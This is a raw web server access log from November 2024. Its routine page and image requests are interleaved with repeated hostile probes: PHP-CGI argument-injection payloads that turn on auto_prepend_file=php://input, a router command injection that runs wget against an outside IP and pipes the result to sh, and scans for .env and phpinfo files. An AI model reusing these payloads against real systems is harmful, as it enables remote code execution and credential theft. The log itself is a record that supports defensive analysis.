[27/Nov/2024:23:33:24 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:23:36:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/skins/moono-lisa/images/arrow.png HTTP/1.1" 191
[27/Nov/2024:23:54:00 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:23:59:14 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[27/Nov/2024:23:59:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[28/Nov/2024:00:06:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[28/Nov/2024:00:14:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[28/Nov/2024:00:27:45 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/upload/dept8-7.jpg HTTP/1.1" 85643
[28/Nov/2024:00:33:33 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[28/Nov/2024:00:54:32 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[28/Nov/2024:01:03:45 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/about/dialogs/logo_ckeditor.png HTTP/1.1" 6757
[28/Nov/2024:01:03:45 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[28/Nov/2024:01:03:46 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[28/Nov/2024:01:14:28 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[28/Nov/2024:01:21:45 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/magicline/images/icon.png HTTP/1.1" 133
[28/Nov/2024:01:33:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[28/Nov/2024:01:39:45 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/images/photo.png HTTP/1.1" 6639
[28/Nov/2024:01:46:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1" 69120
[28/Nov/2024:01:54:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[28/Nov/2024:01:57:45 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/showblocks/images/block_h6.png HTTP/1.1" 123
[28/Nov/2024:02:07:55 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[28/Nov/2024:02:08:41 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env HTTP/1.1" 300
[28/Nov/2024:02:11:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[28/Nov/2024:02:14:04 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[28/Nov/2024:02:33:11 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[28/Nov/2024:02:33:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[28/Nov/2024:02:33:54 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[28/Nov/2024:02:33:56 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/images/2f2.png HTTP/1.1" 117728
[28/Nov/2024:02:46:00 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/dept/dept5.php.bak.locked HTTP/1.1" -
[28/Nov/2024:02:46:02 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[28/Nov/2024:02:46:31 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[28/Nov/2024:02:46:31 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[28/Nov/2024:02:54:03 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[28/Nov/2024:03:14:00 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[28/Nov/2024:03:33:04 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[28/Nov/2024:03:35:01 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/showblocks/images/block_h2.png HTTP/1.1" 127
[28/Nov/2024:03:35:01 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[28/Nov/2024:03:35:03 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[28/Nov/2024:03:54:04 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[28/Nov/2024:04:11:49 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[28/Nov/2024:04:13:57 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[28/Nov/2024:04:17:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[28/Nov/2024:04:33:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[28/Nov/2024:04:53:46 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[28/Nov/2024:04:56:38 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[28/Nov/2024:04:56:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[28/Nov/2024:04:57:03 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[28/Nov/2024:04:57:04 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 2066
[28/Nov/2024:04:57:05 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[28/Nov/2024:05:13:56 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[28/Nov/2024:05:28:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[28/Nov/2024:05:28:54 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[28/Nov/2024:05:28:55 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /dashboard/docs/access-phpmyadmin-remotely.html HTTP/1.1" -
[28/Nov/2024:05:28:57 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[28/Nov/2024:05:33:11 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[28/Nov/2024:06:04:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[28/Nov/2024:06:14:08 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[28/Nov/2024:06:22:34 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[28/Nov/2024:06:30:26 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /_profiler/phpinfo HTTP/1.1" 300
[28/Nov/2024:06:33:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[28/Nov/2024:06:54:01 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[28/Nov/2024:07:02:45 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+-O-+http%3A%2F%2F154.216.19.215%2Ft%7Csh%3B%60) HTTP/1.1" 300
[28/Nov/2024:07:06:51 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[28/Nov/2024:07:12:32 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[28/Nov/2024:07:12:33 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[28/Nov/2024:07:14:03 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[28/Nov/2024:07:15:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[28/Nov/2024:07:15:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[28/Nov/2024:07:24:32 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[28/Nov/2024:07:24:32 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[28/Nov/2024:07:24:33 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[28/Nov/2024:07:24:34 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[28/Nov/2024:07:24:36 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[28/Nov/2024:07:24:37 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[28/Nov/2024:07:24:37 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[28/Nov/2024:07:24:38 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[28/Nov/2024:07:24:39 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[28/Nov/2024:07:24:40 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[28/Nov/2024:07:24:41 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[28/Nov/2024:07:24:43 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[28/Nov/2024:07:24:44 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[28/Nov/2024:07:24:44 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[28/Nov/2024:07:24:45 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[28/Nov/2024:07:24:46 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[28/Nov/2024:07:24:48 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[28/Nov/2024:07:24:49 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[28/Nov/2024:07:24:49 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[28/Nov/2024:07:24:51 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[28/Nov/2024:07:24:52 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[28/Nov/2024:07:24:53 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[28/Nov/2024:07:24:54 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[28/Nov/2024:07:24:55 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[28/Nov/2024:07:24:57 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[28/Nov/2024:07:24:58 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[28/Nov/2024:07:24:58 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[28/Nov/2024:07:25:00 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[28/Nov/2024:07:25:02 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[28/Nov/2024:07:25:03 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[28/Nov/2024:07:25:03 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[28/Nov/2024:07:25:05 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[28/Nov/2024:07:25:06 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[28/Nov/2024:07:25:07 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[28/Nov/2024:07:25:07 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[28/Nov/2024:07:25:09 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[28/Nov/2024:07:25:10 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[28/Nov/2024:07:25:11 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[28/Nov/2024:07:25:12 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[28/Nov/2024:07:25:13 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[28/Nov/2024:07:33:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[28/Nov/2024:07:41:46 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[28/Nov/2024:07:54:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[28/Nov/2024:07:54:44 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+-O-+http%3A%2F%2F154.216.19.215%2Ft%7Csh%3B%60) HTTP/1.1" 300
[28/Nov/2024:07:57:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[28/Nov/2024:07:57:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[28/Nov/2024:07:57:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[28/Nov/2024:08:01:28 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[28/Nov/2024:08:03:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/logout.php.locked HTTP/1.1" -
[28/Nov/2024:08:13:43 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[28/Nov/2024:08:17:06 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env HTTP/1.1" 300
[28/Nov/2024:08:19:32 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env HTTP/1.1" 300
[28/Nov/2024:08:19:55 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/index.php HTTP/1.1" 16
[28/Nov/2024:08:20:06 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /contact/contact.php HTTP/1.1" 305
[28/Nov/2024:08:27:35 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[28/Nov/2024:08:33:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[28/Nov/2024:08:54:10 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[28/Nov/2024:09:13:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[28/Nov/2024:09:18:45 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[28/Nov/2024:09:18:47 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[28/Nov/2024:09:18:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/font-awesome/4.5.0/fonts/fontawesome-webfont.svg HTTP/1.1" 365616
[28/Nov/2024:09:33:33 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[28/Nov/2024:09:54:01 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[28/Nov/2024:10:14:01 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[28/Nov/2024:10:32:39 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[28/Nov/2024:10:33:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[28/Nov/2024:10:37:57 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[28/Nov/2024:10:37:57 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[28/Nov/2024:10:38:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 2066
[28/Nov/2024:10:42:26 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[28/Nov/2024:10:42:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[28/Nov/2024:10:54:40 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[28/Nov/2024:11:14:14 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[28/Nov/2024:11:17:29 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[28/Nov/2024:11:33:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[28/Nov/2024:11:45:58 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[28/Nov/2024:11:45:59 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[28/Nov/2024:11:46:00 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[28/Nov/2024:11:54:57 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[28/Nov/2024:11:55:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[28/Nov/2024:12:14:41 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[28/Nov/2024:12:34:05 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[28/Nov/2024:12:37:16 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[28/Nov/2024:12:54:43 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[28/Nov/2024:13:06:24 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env HTTP/1.1" 300
[28/Nov/2024:13:14:28 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[28/Nov/2024:13:21:31 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[28/Nov/2024:13:33:56 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[28/Nov/2024:13:51:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[28/Nov/2024:13:51:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[28/Nov/2024:13:51:24 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/demo/window/basic.html.locked HTTP/1.1" -
[28/Nov/2024:13:54:46 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[28/Nov/2024:14:06:04 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
